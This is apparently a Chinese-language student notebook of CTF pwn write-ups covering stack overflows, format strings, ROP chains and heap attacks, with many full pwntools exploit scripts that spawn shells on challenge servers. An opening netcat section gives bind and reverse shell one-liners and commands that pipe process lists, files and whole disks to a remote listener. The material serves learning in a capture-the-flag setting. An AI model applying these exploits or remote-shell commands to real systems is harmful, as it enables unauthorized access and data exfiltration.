漏洞类型

格式化字符串漏洞

格式化字符串漏洞

ROP

发生栈溢出的基本前提是:

1.程序必须向栈上写入数据

2.写入的数据大小没有被良好地控制。

char a[10] 
get(a)

strcpy

strcpy( dest, src) 把 src 所指向的字符串复制到 dest。

需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。


read

ssize_t read(int fd, void *buf, size_t count);

ssize_t为有符号整型,size_t为无符号整型。fd为相应的文件描述符;buf为用户给定的数据缓冲区,该缓冲不是固定大小的,由count值决定其大小(用户给定,字节数)。如 read( fd , “hello” , 5 ); 此时的void *buf为char *类型。即count为请求读取的字节数(即buf的大小)。该函数的返回值为-1时,表示读取数据失败;返回值>0时,表示读出的字节数;返回值等于0时,表示已经读完了,因此没有数据可读了。

当count>buf时产生溢出。


shellcode

syscall



持续更新

buuctf

第一道pwn

test_your_nc

思路:根据提示,直接NC即可

NC:的使用

nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。

那么netcat怎么用呢???

-n 以数字形式表示的IP地址

-v 显示详细信息 [使用=vv获取更详细的信息

-p port 本地端口

-q secs 在标准输入且延迟后退出(翻译的不是很好,后面实例介绍)

NC远程控制

这个比较有意思,我放在第一。
正向连接
A:nc -lp port -c bash
B:nc ip port
A将自己的Bash发给B
反向连接
A:nc -lp port
B:nc ip port -c bash
B将自己的Bash发给A
win下Bash换成cmd

使用NC进行信息收集

简单的建立连接,就是侦听模式和传输模式
nc -l -p port监听指定端口号
nc -nv ip port连接对方tcp端口,默认情况下,双方可以发送文本信息
收集目标机上的进程信息
nc -l -p 4444 >wing.txt将远程发送过来的内容保存在本地
Ps aux |nc -nv ip port -q 1 标准输入完成后delay一秒钟,会发送到侦听端


NC传输文件/目录

nc -lp 4444 >1.txt 1.txt就是你要保存的文件名 自定义

nc -nv ip port <1.txt -q 1 将文件发送给侦听端
ps:侦听端的文件名最好按照文件本身来命名

tar -cvf - 目录名/|nc -lp port -q 1
将目录打包
nc -nv ip port |tar -xvf -
将目录解包

NC文件加密传输

apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt –flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1
理解:B将文件加密发送,A接受后先解密再保存到本地,B在1s后退出.
主要是利用mcrypt进行加密
NC流媒体服务

A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A让wing.MP4这个文件成为流的形式发送到B,B用mplayer播放,接收多少播放多少,指定缓存4000bytes。
NC端口扫描

nc -nvz ip 1-65535

默认使用tcp进行扫描
NC复制磁盘

A:nc -lp port |dd of=/dev/sda
B: dd if=/dev/sda | nc -nc ip port -q 1
If是input filter
Of 是output filter
B将数据复制到A挂载的硬盘上

rip

先扔进ida看看

像数组一样存进去,可以利用栈溢出修改返回地址

看来fun函数里就有我们想要的

在去栈里看看

运行就这个脚本,就ok了(网上搜的,下次自己写^?^)

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#p = process('./pwn1')
p = remote('node3.buuoj.cn', 27560)

#p.recvuntil("please input") 

buf_1 = 'a' * 15 + p64(0x401186)
#gdb.attach(p)

p.sendline(buf_1)

p.interactive()

##ciscn_2019_s_3

查看gadget函数可以发现发现有

mov rax , 59
retn

而 execve 的系统调用号 为 59 , 所以打算使用 syscall 进行系统调用

ez_pz_hackover_2016

这道题主要是复现调试过程

首先进入vuln找到溢出nop下断点

gdb.attach(p,'b *0x8048600')利用gdb动调,在0x8048600处下了个断点

首先’ashme’为输入的内容,但会发现少了’cr’,因为0x72的ascII码是’r’,0x63是’c’。(小端序)

所以其实是从0xffc0ba12处开始输入字符,而ebp为0xffc0ba28,所以输入溢出应为0x16(0xffc0ba28 - 0xffc0ba12)

返回地址则应填充泄露的栈的地址,之前泄露的栈地址为0xffc0ba10,那么偏移为1c(ebp+4-a10),所以返回地址覆盖为0xffc0ba2c (0xffc0ba10+1c)

##EasyHeap

入门的heap题,还是比较基础的。

进入magic函数,发现有直接调用system(“cat /home/pwn/flag”)的语句,还有这种好事?!

不过需要让magic > 0x1305 , 于是可以利用unsortbin_attack , unsortbin_attack可以修改任意地址值为一个较大的数,因为unsortbin的最后的chunk的bk指针会指向main_area ,所以我们可以利用其修改magic为一个较大值。

create(0x10 , "aaaa")  #idx 0
create(0x80 , "aaaa")  #idx 1
create(0x80 , "aaaa")  #idx 2
create(0x10,b"/bin/sh\x00")#id3 

dele(1)

edit (0,0xff,b'A'*0x18 + p64(0x91) + p64(0) + p64(magic))
create(0x80,"bbbb")

利用溢出漏洞,将idx0 溢出修改idx1的bk修改为magic_addr-0x10的地址,然后再malloc一个unsort_bin就成功修改啦

#! /usr/bin/python3
from pwn import*
elf = ELF('./easyheap')
io = process('./easyheap')
#io = remote('node3.buuoj.cn',27082)
libc = elf.libc
context.log_level = 'debug'
#gdb.attach(io)


system = elf.sym['system']
cat_flag = 0x0400F49
magic=0x0006020C0-0x10

def create(size, content):
    io.sendlineafter('choice :', str(1))
    io.sendlineafter('Heap :', str(size))
    io.sendafter('heap:', content)

def edit(idx,size,content):
    io.sendlineafter('choice :', str(2))
    io.sendlineafter('Index :', str(idx))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendafter('Content of heap : ', content)

def dele (idx):
    io.sendlineafter('choice :',str(3))
    io.sendlineafter('Index :',str(idx))


create(0x10 , "aaaa")  #idx 0
create(0x80 , "aaaa")  #idx 1
create(0x80 , "aaaa")  #idx 2
create(0x10,b"/bin/sh\x00")#id3 

dele(1)

edit (0,0xff,b'A'*0x18 + p64(0x91) + p64(0) + p64(magic))
create(0x80,"bbbb")

io.sendlineafter('choice :', str(4869))

gdb.attach(io)
#gdb.attach(io)

io.interactive()

本以为我的计划 就如高跟鞋踩进井盖缝一样严丝合缝时 ,对面竟然没有/home/pwn/flag的路径

所以我们只能plan2 了

由于已知heaparray的地址,所以可以采用覆盖free_got 为system_got 的方法

create(0x10 , b"aaaa")  #idx 0
create(0x10 , b"aaaa")  #idx 1
create(0x60 , b"aaaa")  #idx 2
create(0x10,b"/bin/sh\x00")#id3 

print("ok")

dele(2)
edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
#edit(1,0x30,b'a'*0x10 +  p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
create(0x60,b'bbbb') #idx1

#gdb.attach(io)
payload=0x23*b'E'+ p64(free_got)
create(0x60,payload)#idx4 

payload = p64(elf.plt['system'])
print("system",hex(elf.plt['system']))
edit(0,len(payload),payload)

依然是溢出idx1,来修改idx2的fd指针,经fd指针指向heaparray的地址附近,利用字节错位将fack_chunk的size位与bin相匹配(应在70~7f之间)

最后将system_plt 写入free_got 的地址就可以了

最最后调用一下free,就可以getshell

#! /usr/bin/python3
from pwn import*
elf = ELF('./easyheap')
#io = process('./easyheap')
io =remote("node3.buuoj.cn",27082)
libc = elf.libc
#context.log_level = 'debug'
#gdb.attach(io)


system = elf.sym['system']
cat_flag = 0x0400F49
magic=0x0006020C0-0x10

def create(size, content):
    io.sendlineafter('choice :', str(1))
    io.sendlineafter('Heap :', str(size))
    io.sendafter('heap:', content)

def edit(idx,size,content):
    io.sendlineafter('choice :', str(2))
    io.sendlineafter('Index :', str(idx))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendafter('Content of heap : ', content)

def dele (idx):
    io.sendlineafter('choice :',str(3))
    io.sendlineafter('Index :',str(idx))

heaparray=0x006020E0
fake_fastbin=0x6020ad
system_addr=0x400C2C
free_got=elf.got["free"]

print("free_got---->",hex(free_got))

create(0x10 , b"aaaa")  #idx 0
create(0x10 , b"aaaa")  #idx 1
create(0x60 , b"aaaa")  #idx 2
create(0x10,b"/bin/sh\x00")#id3 

print("ok")

dele(2)
edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
#edit(1,0x30,b'a'*0x10 +  p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
create(0x60,b'bbbb') #idx1

#gdb.attach(io)
payload=0x23*b'E'+ p64(free_got)
create(0x60,payload)#idx4 

payload = p64(elf.plt['system'])
print("system",hex(elf.plt['system']))
edit(0,len(payload),payload)
#gdb.attach(io)

io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(3))


io.interactive()

##bjdctf_2020_babyrop2

上来就有个格式化字符串漏洞,可以用来泄露canary

io.sendline('%7$p')
io.recvuntil('0x')
canary = int(io.recv(16),16)
print(hex(canary))

然后泄露libc版本,根据libc来进行溢出并getshell

payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

io.sendlineafter("story!", payload)

puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

exp如下—————————————

#! /usr/bin/python3
from pwn import*
from LibcSearcher import*

elf = ELF('./bjdctf_2020_babyrop2')
libc = elf.libc
#io = process('./bjdctf_2020_babyrop2')
io = remote('node3.buuoj.cn',27690)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400993
vuln = 0x0400887

io.recv()
io.sendline('%7$p')
io.recvuntil('0x')
canary = int(io.recv(16),16)
print(hex(canary))

payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

io.sendlineafter("story!", payload)

puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

print("puts_addr---->",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

print("libc_base",libc_base)
print("system_addr",system_addr)
print("binsh",binsh)

#io.sendline(b'a'*0x28)

payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(binsh) + p64(system_addr) + p64(vuln)

io.sendline(payload)

io.interactive()

##babyfengshui_33c3_2016

这道题的漏洞出现在对于 输入字符的限制由地址之差来计算 的,因此我们可以通过free小chunk,并malloc大chunk从而分离两个地址的目的。从而构造成下面这样来绕过检测。

堆块 0 des 0x100
堆块1 des 0x80    
堆块1 node 0x80    
堆块2 des 0x8    
堆块2 node 0x80    
堆块0 node 0x80

然后通过溢出来写入free_got地址,并将其修改为system,即可

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

#p = process('./babyfengshui')
p = remote('node3.buuoj.cn', 28668)
elf = ELF('babyfengshui')

def Add(size, length, text):
    p.sendlineafter("Action: ", '0')
    p.sendlineafter("description: ", str(size))
    p.sendlineafter("name: ", 'qin')
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("text: ", text)

def Del(index):
    p.sendlineafter("Action: ", '1')
    p.sendlineafter("index: ", str(index))

def Dis(index):
    p.sendlineafter("Action: ", '2')
    p.sendlineafter("index: ", str(index))

def Upd(index, length, text):
    p.sendlineafter("Action: ", '3')
    p.sendlineafter("index: ", str(index))
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("text: ", text)

Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')
Del(0)

#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')

#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)

p.interactive()

##cmcc_simplerop

首先就是可以看见有int 0x80,我们可以系统调用,关于系统调用的指令,我们可以参考这个。

系统调用

就是要构造成

  int80(0xb,”/bin/sh”,null,null)

  后面的四个参数分别是eax、ebx、ecx、edx。

但是没有bin/sh\x00,所以应该向bss段写入

payload = ‘a’*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)

payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

 1 from pwn import *
 2 
 3 p = process('./simplerop')
 4 context.log_level = 'debug'
 5 
 6 p.recv()
 7 int_addr = 0x080493e1
 8 pop_eax = 0x080bae06
 9 read_addr= 0x0806CD50
10 binsh_addr = 0x080EB584
11 pop_edx_ecx_ebx = 0x0806e850
12 
13 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
14 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
15 
16 p.sendline(payload)
17 p.send('/bin/sh\x00')
18 p.interactive()
19 p.close()

攻防世界

get_shell

先用checksec看一下

有NX防护(堆栈不可执行)

栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP和注入
Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻
击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是
数据执行保护(Data Execution Prevention, DEP)安全机制的
初衷。NX策略是使栈区域的代码无法执行。

然后用nc连一下,ls查看目录,cat查看flag,就可以了

when did you born

扔进ida里,f5

就是说当v5=1926时,给你flag。但是直接输入1926会直接进不了函数

点击v5,看看 stack of main 界面

我们可以利用v4来覆盖v5

脚本如下

hello pwn

还是扔进ida

我们用 601068 来覆盖 60106c 就可以实现伪代码中的if语句。

写一下exp(这次是自己写的了^_^)

level 0

还是直接ida

就到处看看,发现最后返回的函数

它读取了200个字节

再找找找到了callsystem这个函数

总是是发现关键了

buf这个字符数组的长度只有0x80,而我们可以输入0x200个字节

现在我们希望可以让主函数能返回到callsystem

起始地址和返回地址相差0x88个字节,我们全部填充。然后返回

callsystem的地址

最后写exp如下

level 2

(好像对rop链有一点点感觉了)

扔进ida看看主函数,调用了_function函数,点进去,申请88h字节空间

但读取了100h。存在漏洞。


到处找找,看到了system和/bin/sh 这就可以了。


最后写一下exp

在这里我们需要向题目中输入若干内容,又观察到buf的长度为

0x88,那么我们便可以构造出0x88长度的无关数据,然后再输入4个长度

的垃圾数据以覆盖ebp,然后就是call system的地址以及/bin/sh的地址

CGfsb

可以看出要让pwnme=8,可以得到flag

printf(&s)这样的输入方式是不安全的

假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?
程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量
分别解析为

解析其地址对应的字符串
解析其内容对应的整形值
解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

exp如下

from pwn import *

p = remote('111.198.29.45',41816)

p.recvuntil('please tell me your name:')
p.sendline('qin')

p.recvuntil('leave your message please:')
p.sendline(p32(0x0804A068) + '%4c%10$n')//将pwnme中的内容改为8
//p32(0x0804A068)会输出四个字符,%4c也会输出四个字符
//%10$n  将%n之前打印的字符数量放入指定地址内部
//之前打印了8个字符,指定地址为偏移量为10的栈空间所指向的地址空间
//所以pwnme所在的空间内容就被更改为之前所输出的字符数量8
p.interactive()

%10&n 为距开始输入字符的位置偏移量为10

参考资料:

https://blog.csdn.net/zz_Caleb/article/details/88980866

https://blog.csdn.net/qinying001/article/details/98527949


giao手进阶区

forgot

在这里我们就是找到溢出了。

88行,调用了一个指针,看来可以用v2 来覆盖 v3 .但是v14 却是变量

这又怎么办呢??

我那时是一个百度啊,就发现 别人发现 可以用大写字符覆盖v2.

四舍五入就是我发现的咯。

至于flag 的地址就在这里了

最后写exp

最最后还有个疑问,v14不就还是等于1 。那(*(&v3 + –v14))

这样不就多了个 1 .不会有问题吗? (现在没有了)

Mary_Morton

老规矩 进ida

我的散装英语越来越地道了^_^

这里就是有溢出漏洞了

现在我陷入了瓶颈。

不过身为 面向百度的编程大师 总有他的办法。

经过一段短暂的时间,他明白了过来。

格式化字符串漏洞原理详解https://blog.csdn.net/qq_43394612/article/details/84900668

缺少canary的值,可以用格式化字符串漏洞来泄漏,buf和v2的位置在两个函数里都一样

首先看下我们输入时候的偏移

canary的偏移地址,找到了。这个图就很直观,针不戳。

直接将flag的地址覆盖到返回地址

最后就是写(chaoxi)flag的时间了

格式化字符串漏洞原理详解https://blog.csdn.net/qq_43394612/article/details/84900668

warmup

竟然没有附件,还以为是一道web题。

这种感觉就像是,家里的猫在汪汪汪地叫一样,又有点熟悉,有很陌生的奇怪啊。

那就看看网页里有什么吧。

一个16进制数。

没看懂。。。。。。

cv工程师开始百度。(ctrl+c && ctrl+v)

from pwn import *
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote("111.198.29.45", 46588)
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

看了半天,是用两个嵌套循环,依次试出数据打包方式(p32 or p64)和

cylib构造的长度.而开始给的16进制数就是flag所在地址了。原来如此,

这样不就懂了嘛。(中间的停顿用ctrl + c 断开连接)

最后再详细了解一下FUZZ(就是用大量的输入去试?)

https://blog.csdn.net/wcventure/article/details/82085251

welpwn

用物理公式换算一下,就会发现我做题 的速度和猪起床的速度差不多。

不过为这事怪猪,也让人家太情何以堪了。

这个写得不错。

https://blog.csdn.net/seaaseesa/article/details/102944448

输入buf,这里不存在溢出,然后进入echo方法,将buf复

制到s2,当遇到\x00就结束。这个条件会导致p64(addr)后面的内容被截

断(地址经p64包装后肯定会出现\0x00)。
也就是说,s2只能复制buf前面32个单元的内容。为了使32位后面的内容

得以执行,我们需要在ret位置跳去执行四个pop指令,去掉buf前32位内

容(也就是复制到s2里面的这些内容),这样就能连贯执行32位之后的内

容了。

所以,目前payload = ‘A’ * 24 + p64(addr_pop4)

之后的东西,就是完全不懂了,还是看看别人的exp吧.什么泄露write地址 ,获取libc加载地址,看起来我是完全不懂嘛~【doge】

#coding:utf8  
from pwn import *  
from LibcSearcher import *  

context.log_level  = 'debug'  
sh = process('./pwnh13')  
#sh = remote('111.198.29.45',51867)  
elf = ELF('./pwnh13')  
write_got = elf.got['write']  
puts_plt = elf.plt['puts']  
#此处有4条pop指令,用于跳过24字节  
pop_24 = 0x40089C  
#pop rdi的地址,用来传参,具体看x64的传参方式  
pop_rdi = 0x4008A3  

sh.recvuntil('Welcome to RCTF\n')  

main_addr = 0x4007CD  
#本题的溢出点在echo函数里,然而,当遇到0,就停止了数据的复制,因此我们需要pop_24来跳过24个字节  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  

sh.send(payload)  

sh.recvuntil('\x40')  
#泄露write地址  
write_addr = u64(sh.recv(6).ljust(8,'\x00'))  

libc = LibcSearcher('write',write_addr)  
#获取libc加载地址  
libc_base = write_addr - libc.dump('write')  
#获取system地址  
system_addr = libc_base + libc.dump('system')  
#获取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')  

sh.recvuntil('\n')  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  

sh.send(payload)  
sh.interactive()  

这个exp怎么这么长啊?和程序员的头发一点也不搭。

dice_game

这是道猜数游戏(这年头还有人猜数,真够无聊的)

看一眼栈,wow~ ⊙o⊙,可以用buf覆盖。

只要猜中50次,就调用sub_B28函数,得到flag了

于是我们将seed覆盖掉,并且去预测生成的随机数。

exp如下

stack2

这道题主要对gdb的调试,来找出偏移量。

首先,当 v13[v5] = v7 语句开始执行时,由汇编可以发现输入数字先存入栈中,经由eax,ecx最终存入eax所在地址,因此eax存储了数组在栈上的首地址,而ecx存储了输入的值(cl是ecx的低字段)现在我们找到了数组首地址。

至于返回地址则是return时esp的值,由调试可知。

然后首尾地址相减可得偏移。




最后利用3. change number 来修改返回地址处的值,从而劫持程序流

 #! /usr/bin/python3
from pwn import *
system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
    io.sendline("3")
    io.recvuntil("which number to change:\n")
    io.sendline(str(addr))
    io.recvuntil("new number:\n")
    io.sendline(str(va))
    io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr  0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr  0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()

monkey

放进ida里一看,咱啥也不懂,啥也不敢问。危难之际,度年救驾。

原来是一个动态链接库???那就查看一下

#!/usr/bin/env python
#!/usr/bin/env python
#coding:utf8

from pwn import *

context.log_level = 'debug'
process_name = './js'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.200.241.244',46128)
# elf = ELF(process_name)

p.sendlineafter('js> ', 'os.system(\'cat flag\')')

p.interactive()

time_formatter

通过构造command,我们可以执行系统命令。所以对于ptr,我们希望他是这样的:’;/bin/sh;’ 这样我们就能通过system方法执行/bin/sh。于是,接下来的工作就是如何让ptr等于我们需要的值。

需要注意。ptr,也就是time format,他的输入时有字符检查的:

可以看到,我们的“;”不在允许范围内,所以通过输入直接构建ptr是不可能的。

这道题目的突破点其实就在退出函数这里:

可以看到,退出函数堆ptr和value做了free,但是没有将他们指为null。所以,他们指向之前的堆块,虽然堆块已经被标记为空闲。看到这里,估计有人就能想到UAF了。UAF:use after free。利用堆被free后重新申请堆,会返回之前的堆地址的特性。可以做到突破一些限制。如本题。

思路:首先设置format,随便输入一个值。然后选择5,进入退出函数,这时ptr指向的堆会被free,但是,ptr依然指向这个堆。接着选择no,不退出,选择3,设置timezone。重点来了,设置timezone的时候,会申请堆,得到的堆地址是之前ptr free掉的,这时候,timezone和ptr都指向这块堆。因为timezone没有输入限制,我们可以把’;/bin/sh;’输入这块堆区,所以ptr所指向的堆的值就变成了了我们希望的了

利用use after free

选择1设置 格式化字符串 (malloc(n))
选择3设置时区 (malloc(n)),传入参数/bin/sh,利用’’\将参数括起来,‘;’用来传参
选择5 退出 (选择否 , 目的是 free上面的两个块)
选择3设置时区(消耗时区 free的块)
选择4设置时区 (使用格式化字符串free的块)

#!/usr/bin/env python
from pwn import *
io = remote("111.200.241.244","58352")
context.log_level = 'debug'

io.sendlineafter("> ","1")
io.sendlineafter("Format: ","A")
io.sendlineafter("> ","5")
io.sendlineafter("Are you sure you want to exit (y/N)? ",'N')
io.sendlineafter("> ","3")
io.sendlineafter("Time zone: ","';/bin/sh;'")

io.sendlineafter("> ","4")

io.interactive()

note-service2

exp:

#coding:utf8  
from pwn import *  

sh = process('./pwnh21')  
#sh = remote('111.198.29.45',30061)  

context(os='linux',arch='amd64')  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('index:',str(index))  
   sh.sendlineafter('size:',str(size))  
   sh.sendafter('content:',content)  

def delete(index):  
   sh.sendlineafter('your choice>>','4')  
   sh.sendlineafter('index:',str(index))  

#rax = 0 jmp short next_chunk  
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
#rax = 0x3B jmp short next_chunk  
code1= (asm('mov eax,0x3B') + '\xeb\x19')  
#rsi = 0 jmp short next_chunk  
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
#rdi = 0 jmp short next_chunk  
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')  
#系统调用  
code4 = (asm('syscall').ljust(7,'\x90'))  

'''''print len(code0) 
print len(code1) 
print len(code2) 
print len(code3) 
print len(code4) 
'''  

create(0,8,'a'*7)  
create(1,8,code1)  
create(2,8,code2)  
create(3,8,code3)  
create(4,8,code4)  
#删除第一个堆块  
delete(0)  

#把第一个堆块申请回来,存入指令,并且把堆指针赋值给数组的-8下标处(atoi的GOT表处),即修改了atoi的GOT表  
create(-8,8,code0)  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  

sh.interactive()  

pwn-100

参考答案

参考答案2

各个都是 超能力 啊?

全部都 出了我的 能力

#! /usr/bin/python
#coding=utf-8
from pwn import *

io = remote('111.200.241.244',43647)

elf = ELF("./pwn100")

rop1 = 0x40075A 
rop2 = 0x400740 
pop_rdi_ret = 0x400763

start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
  payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
  payload = payload.ljust(200, "a")
  io.send(payload)
  io.recvuntil("bye~\n")
  up = ""
  content = ""
  count = 0
  while True:
    c = io.recv(numb=1, timeout=0.5)
    count += 1
    if up == '\n' and c == "":
        content = content[:-1] + '\x00'
        break
    else:
        content += c
        up = c
  content = content[:4]
  log.info("%#x => %s" % (addr, (content or '').encode('hex')))
  return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload  = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56  
payload += p64(start_addr)
payload  = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")

io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

反应釜开关控制

小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反

应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致

生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打

算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多

个闸门,得想办法帮她把闸门都关掉才行。

(挖藕,看起来有点恐怖份子那味了)

checksec 没有 canary保护

这是个惊喜。!

那么就通过V5来溢出了


这exp倒简单。

看到有大佬这么。盲打?(啥意思?)

实时数据监测

小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系

统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节

点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实

时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她

现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆

没有任何防护,值得表扬。

还进ida

这个imagemagic 点进去就是个printf函数,所以存在格式化字符串

漏洞。

还给出了key的地址,就很贴心。

我们来看看偏移–数一下是12

现在就可以覆盖key的值。

exp如下

##greeting-150

首先查看ida,可以发现是格式化字符串漏洞,可以实现任意地址的读写

但是,函数没有循环,那么我们就需要进行构造。

函数结束后都会调用.fini_array函数。所以我们可以修改该函数位start函数,从而使函数循环。

然后再修改strlen_got的地址为system_plt的地址(因为在getnline函数中调用了strlen函数并且都传入一个参数)

由调试可知输入“aa”进行对齐后strlen_got在第12个参数,而覆盖它的数值计算如下:

‘Nice to meet you, ‘18字节

四个地址=4*4 = 16字节

“aa” 两个字节

0x804 - 18 - 16 -2 =2016

所以参数为%2016c%12$hn。
剩下的以此类推。

最后调用strlen函数时传入/bin/sh即可 getshell

exp如下

#! /usr/bin/python3
from pwn import *
#context.log_level='debug'
#io=remote("111.200.241.244",61999)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = elf.plt['system']
print("strlen:    "+str(hex(strlen_got)))
print("system_plt:"+str(hex(system_plt)))
print("fini_got:  "+str(hex(fini_got)))
print("start_addr:"+str(hex(start_addr)))
print(len('Nice to meet you, '))
payload=b"aa"
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+=b"%2016c%12$hn%13$hn"
payload+=b"%31884c%14$hn"
payload+=b"%96c%15$hn"

#gdb.attach(io)

io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()


--------

##pwn1

这道题就说两点

1

puts遇到\x00停止

标志位最后两位一定是\x00 sendline末尾自动加上\n 覆盖掉\x00   我们可以利用这个漏洞泄露libc_base

2

one_gadget的运用方式

它可以直接把运行shell的地址找出来

#! /usr/bin/python3
from pwn import *
context.arch = "amd64"
context.log_level = "debug"

elf = ELF("./babystack")
p = remote('111.200.241.244','60084')
#p = process("./babystack")
libc = ELF("./libc-2.23.so")

execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93

payload = b'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')

canary = u64(p.recv(7).rjust(8,b'\x00'))

payload1 = b'a'*0x88+p64(canary)+b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,b'\x00'))

